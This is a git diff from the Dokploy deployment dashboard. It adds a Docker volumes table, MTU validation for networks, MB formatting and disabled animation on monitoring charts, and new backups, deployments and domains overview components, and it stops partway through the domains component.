getSortedRowModel: getSortedRowModel(),
|
||||
getPaginationRowModel: getPaginationRowModel(),
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||
<div className="rounded-xl bg-background shadow-md ">
|
||||
<CardHeader className="">
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<HardDrive className="size-6 text-muted-foreground self-center" />
|
||||
Volumes
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Manage the Docker volumes of the selected server.
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
|
||||
<CardContent className="space-y-4 py-8 border-t">
|
||||
{isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !volumes?.length ? (
|
||||
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||
<div className="rounded-full bg-muted p-4">
|
||||
<HardDrive className="size-10 text-muted-foreground" />
|
||||
</div>
|
||||
<div className="space-y-1 text-center">
|
||||
<p className="text-sm font-medium">No volumes found</p>
|
||||
<p className="max-w-sm text-sm text-muted-foreground">
|
||||
Docker volumes created on this server will appear here.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<Input
|
||||
placeholder="Search by name..."
|
||||
value={globalFilter}
|
||||
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||
className="max-w-xs"
|
||||
/>
|
||||
</div>
|
||||
<div className="rounded-md border overflow-x-auto">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
{table.getHeaderGroups().map((headerGroup) => (
|
||||
<TableRow key={headerGroup.id}>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<TableHead key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext(),
|
||||
)}
|
||||
</TableHead>
|
||||
))}
|
||||
</TableRow>
|
||||
))}
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{table.getRowModel().rows?.length ? (
|
||||
table.getRowModel().rows.map((row) => (
|
||||
<TableRow key={row.id}>
|
||||
{row.getVisibleCells().map((cell) => (
|
||||
<TableCell key={cell.id}>
|
||||
{flexRender(
|
||||
cell.column.columnDef.cell,
|
||||
cell.getContext(),
|
||||
)}
|
||||
</TableCell>
|
||||
))}
|
||||
</TableRow>
|
||||
))
|
||||
) : (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center text-muted-foreground"
|
||||
>
|
||||
No volumes match your filters.
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
)}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
{table.getPageCount() > 1 && (
|
||||
<div className="flex items-center justify-end gap-4">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||
{table.getPageCount()}
|
||||
</span>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.previousPage()}
|
||||
disabled={!table.getCanPreviousPage()}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.nextPage()}
|
||||
disabled={!table.getCanNextPage()}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@ -223,7 +223,7 @@ export const ShowHome = () => {
|
||||
</div>
|
||||
{canReadDeployments && (
|
||||
<Link
|
||||
href="/dashboard/deployments"
|
||||
href="/dashboard/overview?tab=deployments"
|
||||
className="text-xs text-muted-foreground hover:text-foreground transition-colors"
|
||||
>
|
||||
view all →
|
||||
|
||||
@ -1,3 +1,4 @@
|
||||
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
|
||||
import { format } from "date-fns";
|
||||
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
||||
import {
|
||||
@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
||||
const transformedData = accumulativeData.map((item, index) => ({
|
||||
time: item.time,
|
||||
name: `Point ${index + 1}`,
|
||||
readMb: item.value.readMb,
|
||||
writeMb: item.value.writeMb,
|
||||
readMb: toMb(item.value.readMb),
|
||||
writeMb: toMb(item.value.writeMb),
|
||||
}));
|
||||
|
||||
return (
|
||||
@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
||||
}}
|
||||
formatter={(value, name) => {
|
||||
const label = name === "readMb" ? "Read" : "Write";
|
||||
return [`${value} MB`, label];
|
||||
return [formatMb(Number(value)), label];
|
||||
}}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="readMb"
|
||||
stroke="var(--color-readMb)"
|
||||
fill="url(#fillBlockRead)"
|
||||
@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="writeMb"
|
||||
stroke="var(--color-writeMb)"
|
||||
fill="url(#fillBlockWrite)"
|
||||
|
||||
@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="usage"
|
||||
stroke="var(--color-usage)"
|
||||
fill="url(#fillCpu)"
|
||||
|
||||
@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="usedGb"
|
||||
stroke="var(--color-usedGb)"
|
||||
fill="url(#fillDiskUsed)"
|
||||
|
||||
@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="usage"
|
||||
stroke="var(--color-usage)"
|
||||
fill="url(#fillMemory)"
|
||||
|
||||
@ -1,3 +1,4 @@
|
||||
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
|
||||
import { format } from "date-fns";
|
||||
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
||||
import {
|
||||
@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
||||
const transformedData = accumulativeData.map((item, index) => ({
|
||||
time: item.time,
|
||||
name: `Point ${index + 1}`,
|
||||
inMB: item.value.inputMb,
|
||||
outMB: item.value.outputMb,
|
||||
inMB: toMb(item.value.inputMb),
|
||||
outMB: toMb(item.value.outputMb),
|
||||
}));
|
||||
|
||||
return (
|
||||
@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
||||
}}
|
||||
formatter={(value, name) => {
|
||||
const label = name === "inMB" ? "In" : "Out";
|
||||
return [`${value} MB`, label];
|
||||
return [formatMb(Number(value)), label];
|
||||
}}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="inMB"
|
||||
stroke="var(--color-inMB)"
|
||||
fill="url(#fillNetIn)"
|
||||
@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="outMB"
|
||||
stroke="var(--color-outMB)"
|
||||
fill="url(#fillNetOut)"
|
||||
|
||||
@ -1,3 +1,4 @@
|
||||
import { formatMb } from "@dokploy/server/monitoring/units";
|
||||
import { useEffect, useState } from "react";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||
import { Progress } from "@/components/ui/progress";
|
||||
@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
|
||||
<CardContent>
|
||||
<div className="flex flex-col gap-2 w-full">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
{`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `}
|
||||
{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
|
||||
</span>
|
||||
<DockerBlockChart accumulativeData={accumulativeData.block} />
|
||||
</div>
|
||||
@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
|
||||
<CardContent>
|
||||
<div className="flex flex-col gap-2 w-full">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
{`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `}
|
||||
{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
|
||||
</span>
|
||||
<DockerNetworkChart accumulativeData={accumulativeData.network} />
|
||||
</div>
|
||||
|
||||
@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
|
||||
name="Write"
|
||||
dataKey="write"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillWrite)"
|
||||
stroke="hsl(142, 71%, 45%)"
|
||||
strokeWidth={2}
|
||||
@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
|
||||
name="Read"
|
||||
dataKey="read"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillRead)"
|
||||
stroke="hsl(217, 91%, 60%)"
|
||||
strokeWidth={2}
|
||||
|
||||
@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
|
||||
name="CPU"
|
||||
dataKey="cpu"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillCPU)"
|
||||
stroke="hsl(var(--chart-1))"
|
||||
strokeWidth={2}
|
||||
|
||||
@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
|
||||
name="Memory"
|
||||
dataKey="memory"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillMemory)"
|
||||
stroke="hsl(var(--chart-2))"
|
||||
strokeWidth={2}
|
||||
|
||||
@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
|
||||
name="Input"
|
||||
dataKey="input"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillInput)"
|
||||
stroke="hsl(var(--chart-3))"
|
||||
strokeWidth={2}
|
||||
@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
|
||||
name="Output"
|
||||
dataKey="output"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillOutput)"
|
||||
stroke="hsl(var(--chart-4))"
|
||||
strokeWidth={2}
|
||||
|
||||
@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
|
||||
name="CPU"
|
||||
dataKey="cpu"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillCPU)"
|
||||
stroke="hsl(var(--chart-1))"
|
||||
strokeWidth={2}
|
||||
|
||||
@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
|
||||
yAxisId="left"
|
||||
dataKey="memUsed"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillMemory)"
|
||||
stroke="hsl(var(--chart-2))"
|
||||
strokeWidth={2}
|
||||
|
||||
@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
|
||||
name="Network In"
|
||||
dataKey="networkIn"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillNetworkIn)"
|
||||
stroke="hsl(var(--chart-3))"
|
||||
strokeWidth={2}
|
||||
@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
|
||||
name="Network Out"
|
||||
dataKey="networkOut"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillNetworkOut)"
|
||||
stroke="hsl(var(--chart-4))"
|
||||
strokeWidth={2}
|
||||
|
||||
@ -54,6 +54,14 @@ const networkFormSchema = z
|
||||
attachable: z.boolean(),
|
||||
enableIPv4: z.boolean(),
|
||||
enableIPv6: z.boolean(),
|
||||
mtu: z
|
||||
.string()
|
||||
.refine(
|
||||
(value) =>
|
||||
value === "" ||
|
||||
(/^\d+$/.test(value) && +value >= 68 && +value <= 65535),
|
||||
{ message: "MTU must be a number between 68 and 65535" },
|
||||
),
|
||||
ipamDriver: z.string().optional(),
|
||||
ipamConfig: z.array(ipamConfigEntrySchema),
|
||||
})
|
||||
@ -85,6 +93,7 @@ const defaultValues: NetworkFormValues = {
|
||||
attachable: false,
|
||||
enableIPv4: true,
|
||||
enableIPv6: false,
|
||||
mtu: "",
|
||||
ipamDriver: "",
|
||||
ipamConfig: [],
|
||||
};
|
||||
@ -147,6 +156,7 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
|
||||
attachable: data.attachable,
|
||||
enableIPv4: data.enableIPv4,
|
||||
enableIPv6: data.enableIPv6,
|
||||
mtu: data.mtu ? Number(data.mtu) : undefined,
|
||||
ipam: {
|
||||
driver: data.ipamDriver || undefined,
|
||||
config: data.ipamConfig,
|
||||
@ -232,6 +242,27 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="mtu"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>MTU (optional)</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="1500"
|
||||
inputMode="numeric"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormDescription className="text-muted-foreground">
|
||||
Maximum transmission unit. Leave empty to use Docker's
|
||||
default.
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
|
||||
{toggleOptions.map((option) => (
|
||||
|
||||
@ -14,7 +14,6 @@ import {
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
@ -103,16 +102,19 @@ export function AddOrganization({ organizationId }: Props) {
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
{organizationId ? (
|
||||
<DropdownMenuItem
|
||||
className="group cursor-pointer hover:bg-blue-500/10"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="group hover:bg-blue-500/10"
|
||||
title="Edit organization"
|
||||
>
|
||||
<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
|
||||
</DropdownMenuItem>
|
||||
</Button>
|
||||
) : (
|
||||
<DropdownMenuItem
|
||||
className="gap-2 p-2"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
<button
|
||||
type="button"
|
||||
className="flex w-full items-center gap-2 rounded-md p-2 text-left text-sm hover:bg-accent hover:text-accent-foreground"
|
||||
>
|
||||
<div className="flex size-6 items-center justify-center rounded-md border bg-background">
|
||||
<Plus className="size-4" />
|
||||
@ -120,7 +122,7 @@ export function AddOrganization({ organizationId }: Props) {
|
||||
<div className="font-medium text-muted-foreground">
|
||||
Add organization
|
||||
</div>
|
||||
</DropdownMenuItem>
|
||||
</button>
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-[425px]">
|
||||
|
||||
@ -0,0 +1,254 @@
|
||||
import type { OverviewBackup } from "@dokploy/server/services/overview-shared";
|
||||
import { getBackupOverviewIcon } from "@dokploy/server/services/overview-shared";
|
||||
import {
|
||||
ArrowUpDown,
|
||||
CircuitBoard,
|
||||
GlobeIcon,
|
||||
Loader2,
|
||||
RefreshCw,
|
||||
ServerIcon,
|
||||
} from "lucide-react";
|
||||
import Link from "next/link";
|
||||
import { useMemo, useState } from "react";
|
||||
import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card } from "@/components/ui/card";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const STATUS_VARIANT: Record<string, "default" | "destructive" | "secondary"> =
|
||||
{
|
||||
done: "default",
|
||||
running: "secondary",
|
||||
error: "destructive",
|
||||
cancelled: "destructive",
|
||||
};
|
||||
|
||||
const renderRowIcon = (row: OverviewBackup) => {
|
||||
const icon = getBackupOverviewIcon(row);
|
||||
if (icon.kind === "db") {
|
||||
const Icon = DB_ENGINE_ICONS[icon.engine as keyof typeof DB_ENGINE_ICONS];
|
||||
return Icon ? <Icon className="h-5 w-5" /> : null;
|
||||
}
|
||||
if (icon.kind === "webServer") {
|
||||
return <ServerIcon className="h-5 w-5 text-muted-foreground" />;
|
||||
}
|
||||
return icon.type === "compose" ? (
|
||||
<CircuitBoard className="h-5 w-5" />
|
||||
) : (
|
||||
<GlobeIcon className="h-5 w-5" />
|
||||
);
|
||||
};
|
||||
|
||||
const detailHref = (row: OverviewBackup) => {
|
||||
if (!row.projectId || !row.environmentId || !row.serviceOwnerId) return null;
|
||||
return `/dashboard/project/${row.projectId}/environment/${row.environmentId}/services/${row.serviceOwnerType}/${row.serviceOwnerId}`;
|
||||
};
|
||||
|
||||
export const ShowOverviewBackups = () => {
|
||||
const {
|
||||
data: backups,
|
||||
isFetching,
|
||||
isFetched,
|
||||
isError,
|
||||
refetch,
|
||||
} = api.overview.backups.useQuery(undefined, {
|
||||
staleTime: Number.POSITIVE_INFINITY,
|
||||
refetchOnWindowFocus: false,
|
||||
});
|
||||
|
||||
const [destinationId, setDestinationId] = useState("all");
|
||||
const [serviceOwnerId, setServiceOwnerId] = useState("all");
|
||||
const [sortDirection, setSortDirection] = useState<"asc" | "desc">("desc");
|
||||
|
||||
const destinations = useMemo(() => {
|
||||
if (!backups) return [];
|
||||
const map = new Map<string, string>();
|
||||
for (const row of backups) map.set(row.destinationId, row.destinationName);
|
||||
return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
|
||||
}, [backups]);
|
||||
|
||||
const services = useMemo(() => {
|
||||
if (!backups) return [];
|
||||
const map = new Map<string, string>();
|
||||
for (const row of backups) {
|
||||
if (row.serviceOwnerId) map.set(row.serviceOwnerId, row.serviceName);
|
||||
}
|
||||
return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
|
||||
}, [backups]);
|
||||
|
||||
const rows = useMemo(() => {
|
||||
if (!backups) return [];
|
||||
const filtered = backups.filter(
|
||||
(row) =>
|
||||
(destinationId === "all" || row.destinationId === destinationId) &&
|
||||
(serviceOwnerId === "all" || row.serviceOwnerId === serviceOwnerId),
|
||||
);
|
||||
const sorted = [...filtered].sort(
|
||||
(a, b) =>
|
||||
new Date(a.createdAt).getTime() - new Date(b.createdAt).getTime(),
|
||||
);
|
||||
return sortDirection === "asc" ? sorted : sorted.reverse();
|
||||
}, [backups, destinationId, serviceOwnerId, sortDirection]);
|
||||
|
||||
return (
|
||||
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||
<div className="flex flex-wrap items-center gap-3 justify-between">
|
||||
<h3 className="text-lg font-medium">
|
||||
Backups{" "}
|
||||
{isFetched && (
|
||||
<span className="text-sm font-normal text-muted-foreground">
|
||||
({rows.length})
|
||||
</span>
|
||||
)}
|
||||
</h3>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
{isFetched && (
|
||||
<>
|
||||
<Select value={destinationId} onValueChange={setDestinationId}>
|
||||
<SelectTrigger className="w-[180px]">
|
||||
<SelectValue placeholder="Destination" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All destinations</SelectItem>
|
||||
{destinations.map((d) => (
|
||||
<SelectItem key={d.id} value={d.id}>
|
||||
{d.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Select
|
||||
value={serviceOwnerId}
|
||||
onValueChange={setServiceOwnerId}
|
||||
>
|
||||
<SelectTrigger className="w-[180px]">
|
||||
<SelectValue placeholder="Service" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All services</SelectItem>
|
||||
{services.map((s) => (
|
||||
<SelectItem key={s.id} value={s.id}>
|
||||
{s.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() =>
|
||||
setSortDirection((d) => (d === "desc" ? "asc" : "desc"))
|
||||
}
|
||||
>
|
||||
<ArrowUpDown className="size-4 mr-2" />
|
||||
{sortDirection === "desc" ? "Newest first" : "Oldest first"}
|
||||
</Button>
|
||||
</>
|
||||
)}
|
||||
<Button onClick={() => refetch()} disabled={isFetching} size="sm">
|
||||
{isFetching ? (
|
||||
<Loader2 className="size-4 animate-spin mr-2" />
|
||||
) : (
|
||||
<RefreshCw className="size-4 mr-2" />
|
||||
)}
|
||||
Refresh
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{isFetching && !isFetched && (
|
||||
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||
<Loader2 className="size-4 animate-spin" />
|
||||
Loading backups...
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isFetched && isError && (
|
||||
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||
<span>Failed to load backups.</span>
|
||||
<Button variant="outline" size="sm" onClick={() => refetch()}>
|
||||
Retry
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isFetched && !isError && rows.length === 0 && (
|
||||
<div className="flex items-center justify-center py-16 text-muted-foreground">
|
||||
No backups match the current filters.
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isFetched && !isError && rows.length > 0 && (
|
||||
<Table>
|
||||
<TableHeader>
|
||||
<TableRow>
|
||||
<TableHead>Date</TableHead>
|
||||
<TableHead>Service</TableHead>
|
||||
<TableHead>Destination</TableHead>
|
||||
<TableHead>Kind</TableHead>
|
||||
<TableHead>Status</TableHead>
|
||||
</TableRow>
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{rows.map((row) => {
|
||||
const href = detailHref(row);
|
||||
const name = href ? (
|
||||
<Link href={href} className="hover:underline">
|
||||
{row.serviceName}
|
||||
</Link>
|
||||
) : (
|
||||
row.serviceName
|
||||
);
|
||||
return (
|
||||
<TableRow key={row.deploymentId}>
|
||||
<TableCell className="whitespace-nowrap text-sm">
|
||||
{new Date(row.createdAt).toLocaleString()}
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<div className="flex items-center gap-2">
|
||||
{renderRowIcon(row)}
|
||||
{name}
|
||||
</div>
|
||||
</TableCell>
|
||||
<TableCell>{row.destinationName}</TableCell>
|
||||
<TableCell>
|
||||
<Badge variant="outline">
|
||||
{row.kind === "backup" ? "Database" : "Volume"}
|
||||
</Badge>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
{row.status && (
|
||||
<Badge
|
||||
variant={STATUS_VARIANT[row.status] ?? "secondary"}
|
||||
>
|
||||
{row.status}
|
||||
</Badge>
|
||||
)}
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
);
|
||||
})}
|
||||
</TableBody>
|
||||
</Table>
|
||||
)}
|
||||
</div>
|
||||
</Card>
|
||||
);
|
||||
};
|
||||
@ -0,0 +1,77 @@
|
||||
import { Rocket } from "lucide-react";
|
||||
import { useRouter } from "next/router";
|
||||
import { ShowDeploymentsTable } from "@/components/dashboard/deployments/show-deployments-table";
|
||||
import { ShowQueueTable } from "@/components/dashboard/deployments/show-queue-table";
|
||||
import {
|
||||
Card,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||
|
||||
const SUBTAB_VALUES = ["deployments", "queue"] as const;
|
||||
type SubtabValue = (typeof SUBTAB_VALUES)[number];
|
||||
const DEFAULT_SUBTAB: SubtabValue = "deployments";
|
||||
|
||||
function isValidSubtab(t: string): t is SubtabValue {
|
||||
return SUBTAB_VALUES.includes(t as SubtabValue);
|
||||
}
|
||||
|
||||
export const ShowOverviewDeployments = () => {
|
||||
const router = useRouter();
|
||||
const subtab =
|
||||
typeof router.query.subtab === "string" &&
|
||||
isValidSubtab(router.query.subtab)
|
||||
? router.query.subtab
|
||||
: DEFAULT_SUBTAB;
|
||||
|
||||
const setSubtab = (value: string) => {
|
||||
if (!isValidSubtab(value)) return;
|
||||
const { subtab: _current, ...query } = router.query;
|
||||
router.replace(
|
||||
{
|
||||
pathname: router.pathname,
|
||||
query: value === DEFAULT_SUBTAB ? query : { ...query, subtab: value },
|
||||
},
|
||||
undefined,
|
||||
{ shallow: true },
|
||||
);
|
||||
};
|
||||
|
||||
return (
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl min-h-[45vh]">
|
||||
<div className="rounded-xl bg-background shadow-md h-full">
|
||||
<CardHeader>
|
||||
<div className="flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between">
|
||||
<div>
|
||||
<CardTitle className="text-xl font-bold flex items-center gap-2">
|
||||
<Rocket className="size-5" />
|
||||
Deployments
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
All application and compose deployments in one place.
|
||||
</CardDescription>
|
||||
</div>
|
||||
</div>
|
||||
<Tabs
|
||||
value={subtab}
|
||||
onValueChange={setSubtab}
|
||||
className="w-full min-w-0"
|
||||
>
|
||||
<TabsList className="mt-2">
|
||||
<TabsTrigger value="deployments">Deployments</TabsTrigger>
|
||||
<TabsTrigger value="queue">Queue</TabsTrigger>
|
||||
</TabsList>
|
||||
<TabsContent value="deployments" className="mt-0 min-w-0 pt-4">
|
||||
<ShowDeploymentsTable />
|
||||
</TabsContent>
|
||||
<TabsContent value="queue" className="mt-0 pt-4">
|
||||
<ShowQueueTable />
|
||||
</TabsContent>
|
||||
</Tabs>
|
||||
</CardHeader>
|
||||
</div>
|
||||
</Card>
|
||||
);
|
||||
};
|
||||
@ -0,0 +1,383 @@
|
||||
import type { OverviewDomainSortBy } from "@dokploy/server/services/overview-shared";
|
||||
import { sortOverviewDomains } from "@dokploy/server/services/overview-shared";
|
||||
import { ExternalLink, Loader2 } from "lucide-react";
|
||||
import Link from "next/link";
|
||||
import { useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { COMPOSE_REDEPLOY_TOAST } from "@/components/dashboard/application/domains/redeploy-hint";
|
||||
import { DateTooltip } from "@/components/shared/date-tooltip";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card } from "@/components/ui/card";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import {
|
||||
Tooltip,
|
||||
TooltipContent,
|
||||
TooltipProvider,
|
||||
TooltipTrigger,
|
||||
} from "@/components/ui/tooltip";
|
||||
import { useSortPreference } from "@/hooks/use-sort-preference";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
|
||||
|
||||
const SORT_OPTIONS: { value: OverviewDomainSortBy; label: string }[] = [
|
||||
{ value: "createdAt-desc", label: "Newest first" },
|
||||
{ value: "createdAt-asc", label: "Oldest first" },
|
||||
{ value: "port-asc", label: "Port (low-high)" },
|
||||
{ value: "port-desc", label: "Port (high-low)" },
|
||||
];
|
||||
|
||||
const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
|
||||
|
||||
export const ShowOverviewDomains = () => {
|
||||
const utils = api.useUtils();
|
||||
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||
const canToggleDomain = permissions?.domain.create ?? false;
|
||||
|
||||
const { data: domains, isLoading } = api.overview.domains.useQuery();
|
||||
const { data: allProjects } = api.project.all.useQuery();
|
||||
|
||||
const { mutateAsync: toggleEnable, isPending: isToggling } =
|
||||
api.domain.toggleEnable.useMutation();
|
||||
|
||||
const [selectedProjectId, setSelectedProjectId] = useState("all");
|
||||
const [selectedStatus, setSelectedStatus] = useState("all");
|
||||
const [selectedSsl, setSelectedSsl] = useState("all");
|
||||
const [selectedPort, setSelectedPort] = useState("all");
|
||||
